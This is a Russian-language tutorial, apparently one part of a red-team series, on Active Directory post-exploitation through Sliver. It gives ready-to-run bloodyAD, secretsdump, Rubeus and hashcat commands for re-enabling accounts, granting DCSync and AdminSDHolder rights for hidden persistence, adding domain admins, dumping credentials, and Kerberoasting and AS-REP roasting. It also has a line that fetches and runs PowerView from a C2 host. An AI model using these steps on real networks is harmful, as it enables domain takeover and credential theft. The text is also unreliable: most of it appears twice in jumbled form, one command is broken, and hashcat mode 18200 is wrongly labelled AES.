Добро пожаловать обратно, кибервоины!
В этой части серии мы продолжаем изучать возможности Sliver и вспомогательные инструменты, используемые для пост-эксплуатации и злоупотреблений Active Directory (AD). В предыдущем разделе мы рассмотрели горизонтальное перемещение и способы объединения скомпрометированных хостов для укрепления позиций в сети. Сегодня мы сосредоточимся на злоупотреблении дискреционными списками контроля доступа (DACL), включая такие методы, как Kerberoasting, DCSync, манипуляция AdminSDHolder и сохранение на основе DACL. В этой главе особое внимание будет уделено таким инструментам, как Rubeus, BloodyAD, SharpHound и BloodHound.
Злоупотребление DACL подразумевает использование чрезмерно разрешительных или неправильно настроенных записей ACE, таких как GenericAll (полный доступ), WriteDACL (изменение прав), WriteOwner (смена владельца) или AllExtendedRights (например, права сброса пароля). Эти разрешения могут допускать несанкционированное повышение привилегий, горизонтальную миграцию или сохранение в пределах домена, часто без необходимости использования административных учётных данных или активации оповещений.
Этот метод часто упускают из виду, поскольку такие разрешения могут быть унаследованы или делегированы, создавая впечатление, что они легитимны. Кроме того, если не используется специальный аудит изменений в ACL, эти изменения, как правило, оставляют минимальные следы.
Примеры команд для интегрированной в Sliver коллекции BloodHound:
sliver (session) > sharp-hound-3 -- -c All --zipfilename target
Для более новых версий BloodHound:
sliver (session) > sharp-hound-4 -- -c All --zipfilename target_v4
Загрузите полученный архив в BloodHound. Время обработки зависит от размера и сложности домена.
После нажатия на значок пользователя вы увидите полный список ценной информации, такой как соединения RDP, привилегии DCOM, SQL и права локального администратора.
c2 > pip3 install bloodyad
c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p password remove uac nika -f ACCOUNTDISABLE
c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p password set password nika “P@ssw0rd123!”
После этого мы тестируем аккаунт Ники:
c2 > proxychains nxc smb 192.168.2.47 -u nika -p “P@ssw0rd123!”
И это сработало! Теперь мы управляем учётной записью nika, которой будут назначены новые разрешения в домене. Обратите внимание, что эти команды можно выполнять и с NTLM-хешем.
Если доступен только NTLM-хэш:
c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p :NTLMhash set password nika “P@ssw0rd123!”
Вот как выглядит результат этой атаки. В некоторых случаях, благодаря сложной структуре домена, вам может повезти, если удастся получить учётные данные в открытом виде.
Объект AdminSDHolder определяет шаблон ACL, применяемый к защищённым объектам AD, таким как «Администраторы домена» и «Администраторы предприятия», который регулярно (каждые 60 минут) повторно применяется службой SDProp. Если у злоумышленника есть разрешение GenericAll для объекта AdminSDHolder, он может фактически предоставить полный контроль над всеми привилегированными учётными записями в домене. Поскольку SDProp автоматически распространяет этот ACL на каждую защищённую учётную запись, любые вредоносные права, добавленные к AdminSDHolder, сохраняются, даже если впоследствии удалены вручную.
Теперь мы готовы назначить необходимые права контролируемым нами аккаунтам:
c2 > proxychains4 bloodyAD --host SERV-DC1 -u admin -p password add dcsync galina
c2 > proxychains4 bloodyAD --host SERV-DC1 -u admin -p password add genericAll "CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=RU" galina
Добавьте нового администратора домена:
c2 > proxychains4 bloodyAD --host SERV-DC1 -u galina -p password add groupMember 'Domain Admins' fakeadmin
Принудительно установите новый пароль для администратора домена:
c2 > proxychains4 bloodyAD --host SERV-DC1 -u galina -p password set password admin “P@ssw0rd”
Извлечение учетных данных с помощью DCSync с использованием пароля:
c2 > proxychains4 secretsdump.py <strong>domain.ru/galina
@ssw0rd@dc-ip</strong>
Извлечение учетных данных с помощью DCSync с использованием хэша:
c2 > proxychains4 secretsdump.py domain.ru/galina@dc-ip -hashes :NTLMhash
Полную документацию по BloodyAD можно найти:
https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
Чтобы найти учётную запись Kerberoastable в BloodHound, нажмите « Список всех учётных записей Kerberoastable » или « Найти участников Kerberoastable групп High Value ».
Обнаружение командной строки с помощью Sliver и PowerView:
c2 > echo “Get-NetUser -spn | select samaccountname,description” | base64
<strong>sliver (session) > sharpsh -- '-u http://c2:8000/PowerView.ps1 -e -c “BASE64”'</strong><br>
В ограниченной среде используйте собственные команды:
PS > setspn.exe -Q */*
В BloodHound вы можете увидеть, что у нас есть три администратора домена, уязвимых для Kerberoasting.
Представьте себе ситуацию, когда вы скомпрометировали пользователя с помощью GenericAll в службе поддержки, но у него нет тех же прав, что и у службы поддержки. Вы можете попытаться принудительно установить новые пароли или добавить нового пользователя, но это довольно шумные атаки, и мы не рекомендуем этого делать. Вместо этого давайте назначим SPN сотруднику службы поддержки и попробуем взломать его хеш в офлайн-режиме.
Назначьте SPN:
c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p password set object redkin servicePrincipalName -v http/SERV-1C.DOMAIN.RU
Затем поджарьте аккаунт:
sliver (session) > c2tc-kerberoast roast redkin
Скопируйте этот хеш в файл и конвертируйте его в формат Hashcat.
c2 > nano redkin_convert_kerberos.txtc2 > python3 <strong>TicketToHashcat.py</strong> redkin_convert_kerberos.txt
Или обжарьте с помощью Rubeus, используя формат hashcat:
sliver (session) > inline-execute-assembly /root/tools/Rubeus.exe 'kerberoast /user:admin /format:hashcat /nowrap'
Получив тикет, вы можете приступить к его взлому с помощью hashcat, в зависимости от выбранного формата шифрования. В нашем случае это был 23, то есть RC4 (-m 13100):
c2 > hashcat -m 13100 hash.txt wordlist.txt # For RC4 encryption
Вы можете найти пользователей, уязвимых для этой атаки в BloodHound, выбрав « Найти пользователей, подверженных атаке AS-REP (DontReqPreAuth) ».
Вот как можно обратиться к пользователю с помощью DontReqPreAuth :
sliver (session) > inline-execute-assembly /root/tools/Rubeus.exe 'asreproast /format:hashcat /user:bob /nowrap'
Взломайте полученный хеш, используя режим Hashcat 18200 (шифрование AES):
c2 > hashcat -m 18200 hash.txt wordlist.txt
В этой части серии мы продолжаем изучать возможности Sliver и вспомогательные инструменты, используемые для пост-эксплуатации и злоупотреблений Active Directory (AD). В предыдущем разделе мы рассмотрели горизонтальное перемещение и способы объединения скомпрометированных хостов для укрепления позиций в сети. Сегодня мы сосредоточимся на злоупотреблении дискреционными списками контроля доступа (DACL), включая такие методы, как Kerberoasting, DCSync, манипуляция AdminSDHolder и сохранение на основе DACL. В этой главе особое внимание будет уделено таким инструментам, как Rubeus, BloodyAD, SharpHound и BloodHound.
Понимание DACL
Список дискреционного управления доступом (DACL) — это компонент дескриптора безопасности объекта Active Directory, который определяет, кто может выполнять те или иные действия с объектом. Каждое разрешение представлено записью управления доступом (ACE). Например, разрешения могут позволять пользователю сбрасывать пароли, удалять объекты или изменять сам список доступа.Злоупотребление DACL подразумевает использование чрезмерно разрешительных или неправильно настроенных записей ACE, таких как GenericAll (полный доступ), WriteDACL (изменение прав), WriteOwner (смена владельца) или AllExtendedRights (например, права сброса пароля). Эти разрешения могут допускать несанкционированное повышение привилегий, горизонтальную миграцию или сохранение в пределах домена, часто без необходимости использования административных учётных данных или активации оповещений.
Этот метод часто упускают из виду, поскольку такие разрешения могут быть унаследованы или делегированы, создавая впечатление, что они легитимны. Кроме того, если не используется специальный аудит изменений в ACL, эти изменения, как правило, оставляют минимальные следы.
Сбор данных рекламы с помощью SharpHound
SharpHound — это компонент сбора данных для BloodHound. При запуске в системе, подключенной к домену, он собирает широкий спектр данных: сведения о членстве пользователей и групп, информацию о сеансах, списки контроля доступа (ACL), доверительные отношения и сопоставления локальных администраторов.Примеры команд для интегрированной в Sliver коллекции BloodHound:
sliver (session) > sharp-hound-3 -- -c All --zipfilename target
Для более новых версий BloodHound:
sliver (session) > sharp-hound-4 -- -c All --zipfilename target_v4
Загрузите полученный архив в BloodHound. Время обработки зависит от размера и сложности домена.
Визуализация связей AD с помощью BloodHound
После обработки данных BloodHound позволяет провести углубленное исследование взаимосвязей Active Directory и потенциальных путей атак.Просмотр объектов
Найдите конкретных пользователей или группы, чтобы изучить их права доступа и управление. Даже пользователи с низкими привилегиями могут быть важны, если в настройках есть ошибки.После нажатия на значок пользователя вы увидите полный список ценной информации, такой как соединения RDP, привилегии DCOM, SQL и права локального администратора.
Контроль исходящих объектов
Эта метрика отражает, на сколько объектов AD пользователь может влиять через прямые или унаследованные записи ACE, что полезно для определения путей повышения привилегий.
Транзитивное управление объектами
Пользователь может не контролировать важные цели напрямую, но через цепочку ошибочных настроек всё равно может оказывать влияние. BloodHound вычисляет эти косвенные пути, помогая выявлять потенциальные векторы эскалации.
Злоупотребление через модификацию DACL
Чтобы сохранить долгосрочный доступ или повысить привилегии, злоумышленники могут изменять DACL с помощью таких инструментов, как BloodyAD.Повторное включение отключенных учетных записей
Вместо создания новых учётных записей (что может быть подозрительно) злоумышленники могут повторно активировать уже существующих, но отключённых пользователей. Например:c2 > pip3 install bloodyad
c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p password remove uac nika -f ACCOUNTDISABLE
c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p password set password nika “P@ssw0rd123!”
После этого мы тестируем аккаунт Ники:
c2 > proxychains nxc smb 192.168.2.47 -u nika -p “P@ssw0rd123!”
И это сработало! Теперь мы управляем учётной записью nika, которой будут назначены новые разрешения в домене. Обратите внимание, что эти команды можно выполнять и с NTLM-хешем.
Если доступен только NTLM-хэш:
c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p :NTLMhash set password nika “P@ssw0rd123!”
Назначение чрезмерных прав
DCSync — это атака, которая позволяет скомпрометированной учетной записи выдавать себя за контроллер домена и запрашивать данные репликации каталога, включая хэши паролей пользователей (например, KRBTGT или Administrator), используя законную функцию удаленного протокола службы репликации каталогов.Вот как выглядит результат этой атаки. В некоторых случаях, благодаря сложной структуре домена, вам может повезти, если удастся получить учётные данные в открытом виде.
Объект AdminSDHolder определяет шаблон ACL, применяемый к защищённым объектам AD, таким как «Администраторы домена» и «Администраторы предприятия», который регулярно (каждые 60 минут) повторно применяется службой SDProp. Если у злоумышленника есть разрешение GenericAll для объекта AdminSDHolder, он может фактически предоставить полный контроль над всеми привилегированными учётными записями в домене. Поскольку SDProp автоматически распространяет этот ACL на каждую защищённую учётную запись, любые вредоносные права, добавленные к AdminSDHolder, сохраняются, даже если впоследствии удалены вручную.
Теперь мы готовы назначить необходимые права контролируемым нами аккаунтам:
c2 > proxychains4 bloodyAD --host SERV-DC1 -u admin -p password add dcsync galina
c2 > proxychains4 bloodyAD --host SERV-DC1 -u admin -p password add genericAll "CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=RU" galina
Восстановление доступа через сохранение
Если вас поймают во время бокового перемещения или администратор решит сменить пароль, вот как вы сможете восстановить свой доступ, используя сохранение DACL.Добавьте нового администратора домена:
c2 > proxychains4 bloodyAD --host SERV-DC1 -u galina -p password add groupMember 'Domain Admins' fakeadmin
Принудительно установите новый пароль для администратора домена:
c2 > proxychains4 bloodyAD --host SERV-DC1 -u galina -p password set password admin “P@ssw0rd”
Извлечение учетных данных с помощью DCSync с использованием пароля:
c2 > proxychains4 secretsdump.py <strong>domain.ru/galina
Извлечение учетных данных с помощью DCSync с использованием хэша:
c2 > proxychains4 secretsdump.py domain.ru/galina@dc-ip -hashes :NTLMhash
Полную документацию по BloodyAD можно найти:
https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
Кербероатинг
Kerberoasting — это метод, используемый хакерами после получения доступа к любой учётной записи пользователя домена. Он позволяет злоумышленнику запросить билет службы Kerberos для учётной записи службы в Active Directory, поскольку это может сделать любой легитимный пользователь. Этот билет шифруется с использованием хеша пароля учётной записи службы. Злоумышленник переносит зашифрованный билет в автономный режим и использует такие инструменты, как Hashcat или John the Ripper, чтобы взломать его и восстановить настоящий пароль. Получив пароль, он может войти в систему, используя эту учётную запись службы, и получить доступ к сети, который она предоставляет.Чтобы найти учётную запись Kerberoastable в BloodHound, нажмите « Список всех учётных записей Kerberoastable » или « Найти участников Kerberoastable групп High Value ».
Обнаружение командной строки с помощью Sliver и PowerView:
c2 > echo “Get-NetUser -spn | select samaccountname,description” | base64
<strong>sliver (session) > sharpsh -- '-u http://c2:8000/PowerView.ps1 -e -c “BASE64”'</strong><br>
В ограниченной среде используйте собственные команды:
PS > setspn.exe -Q */*
В BloodHound вы можете увидеть, что у нас есть три администратора домена, уязвимых для Kerberoasting.
Представьте себе ситуацию, когда вы скомпрометировали пользователя с помощью GenericAll в службе поддержки, но у него нет тех же прав, что и у службы поддержки. Вы можете попытаться принудительно установить новые пароли или добавить нового пользователя, но это довольно шумные атаки, и мы не рекомендуем этого делать. Вместо этого давайте назначим SPN сотруднику службы поддержки и попробуем взломать его хеш в офлайн-режиме.
Назначьте SPN:
c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p password set object redkin servicePrincipalName -v http/SERV-1C.DOMAIN.RU
Затем поджарьте аккаунт:
sliver (session) > c2tc-kerberoast roast redkin
Скопируйте этот хеш в файл и конвертируйте его в формат Hashcat.
c2 > nano redkin_convert_kerberos.txtc2 > python3 <strong>TicketToHashcat.py</strong> redkin_convert_kerberos.txt
Или обжарьте с помощью Rubeus, используя формат hashcat:
sliver (session) > inline-execute-assembly /root/tools/Rubeus.exe 'kerberoast /user:admin /format:hashcat /nowrap'
Получив тикет, вы можете приступить к его взлому с помощью hashcat, в зависимости от выбранного формата шифрования. В нашем случае это был 23, то есть RC4 (-m 13100):
c2 > hashcat -m 13100 hash.txt wordlist.txt # For RC4 encryption
Обжарка AS-REP
AS-REP Roasting — это атака Kerberos, нацеленная на учётные записи пользователей в Active Directory, у которых отключена предварительная аутентификация Kerberos. В обычных условиях, когда пользователь запрашивает билет на получение билета (TGT), он должен подтвердить свою личность, зашифровав временную метку с помощью хеша пароля, что является предварительной аутентификацией. Если эта проверка отключена для учётной записи, злоумышленник может отправить AS-REQ для этой учётной записи, не зная пароля, и контроллер домена ответит сообщением AS-REP, содержащим данные, зашифрованные с помощью хеша пароля пользователя. После восстановления пароля вы сможете войти в систему под этим пользователем и повысить привилегии, перейти на более высокий уровень или поддерживать персистентность, не вызывая тревог. Этот метод очень эффективен в средах со слабыми политиками паролей или неправильно настроенными настройками Kerberos.Вы можете найти пользователей, уязвимых для этой атаки в BloodHound, выбрав « Найти пользователей, подверженных атаке AS-REP (DontReqPreAuth) ».
Вот как можно обратиться к пользователю с помощью DontReqPreAuth :
sliver (session) > inline-execute-assembly /root/tools/Rubeus.exe 'asreproast /format:hashcat /user:bob /nowrap'
Взломайте полученный хеш, используя режим Hashcat 18200 (шифрование AES):
c2 > hashcat -m 18200 hash.txt wordlist.txt